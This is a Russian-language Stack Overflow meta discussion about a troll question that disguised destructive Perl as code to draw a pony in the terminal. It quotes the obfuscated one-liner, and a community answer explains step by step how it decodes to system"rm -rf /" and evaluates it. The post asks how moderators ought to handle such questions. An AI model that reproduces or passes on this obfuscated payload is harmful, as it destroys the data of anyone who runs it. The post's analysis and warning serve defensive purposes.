Вступление.
Делая вчера очередь проверок, я наткнулся на вопрос заданный только вчера, содержащий код, но заминусованный капитально: -14 (на текущий момент -16). Думаю, что-то это слишком много, ну если обычно задают плохой вопрос (е.г. домашку, перевод, по-английски и т.д.), то если он недавний, то число даунвоутов где-то ∈ range(-2, -7). Я открыл вопрос и смотрю комментарии и ответ...
Продолжение
предлагаю удалить текст вопроса. – KoVadim 2 дня назад 5
Я голосую за закрытие этого вопроса, потому что вопрос содержит вредоносный код в завуалированном виде. – aleksandr barakin 2 дня назад
Я просто хочу вывести красивого пони в терминале. Ничего вредоносного – Сергей Валерьевич 2 дня назад
пони выводятся по apt moo – KoVadim 2 дня назад
@aleksandrbarakin, может просто в ответе разобрать почему код вредоносный? :-) – Grundy 2 дня назад
внизу уже разобрали – KoVadim 2 дня назад
@KoVadim, я где-то видел именно по пунктам разбор, типа как эта строка преобразуется в аналог rm rf :) – Grundy 2 дня назад
что то модераторы не идут – KoVadim 2 дня назад
кстати, ассоциация: stackoverflow.com/q/9591658/2881286 – Grundy 2 дня назад 2
@Grundy, добавил разбор. – Centrix 2 дня назад 3
@aleksandrbarakin хоть это и троллинг, но вопрос правил не нарушает сам по себе. А хороший ответ только приветствуется.
Разбор в ответе:
+9Комментарии:Эта программа удаляет все директории, в том числе и корневую /.
А если подробнее то:
echo "test... test... test..."
выполнение этой команды не влияет на работу и добавлено, скорее всего, для усыпления бдительности. То, что происходит в остальном коде — совсем не очевидно из-за преднамеренно запутанного написания. В данной строчке записано всего три последовательно выполняемых команды. Запишем команду следующим образом:$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ; y; -/:-@[-`{-};`-{/" -; ; s;;$_;see
Первая конструкция анализирует переменную
$?
— код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» —s;;=]=>%-{<-|}<&|
{;. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе
$_на
=]=>%-{<-|}<&|{` (первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш / или |, для неясности в этой конструкции используется ограничитель ;).Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой — один. Если раскрыть эти диапазоны, получим следующее соответствие:
!"#$%&'()*+,-./:;<=>?@[\]^_`{|} `abcdefghijklmnopqrstuvwxyz{/"
В результате содержимое $_ принимает вид:
system"rm -rf /"
Третья же команда дважды (как инструктирует флаг ee) «вычисляет» содержимое аккумулятора — вышеуказанную деструктивную команду — и пытается заменить пустую строку в аккумуляторе на результат вычисления.
Ссылка на вопросЭто неправда. Она должна рисовать красивого пони – Сергей Валерьевич 23 июн в 14:42
Знаем мы ваших пони. – Centrix 23 июн в 14:43 11
Ты троянская пони, троянская пони! ✨🌙 – andreymal 23 июн в 15:05
Что я хочу обсудить.
Такие вопросы к счастью редки. Но они несут очень большую опасность. Любой не знающий перл или невнимательный человек мог запустить этот код и... sudo rm -rf /
Я считал, что наше SOобщество полностью защищено от троллей, но вот это — наша брешь. В правилах такие вопросы не оговариваются. Я предлагаю обсудить это в комментариях, и в качестве ответов предложить решение этой проблемы — что делать с такими вопросами? Предупреждения в самом вопросе — мало!
P.S. За название — спасибо @andreymal'y!
rm -rf
и подавно надо.rm
просто выдадут ошибкуit is dangerous to operate recursively on '/'
как минимум таких в интернете в браузере, полным полно.
—что-нибудь кроме onworks?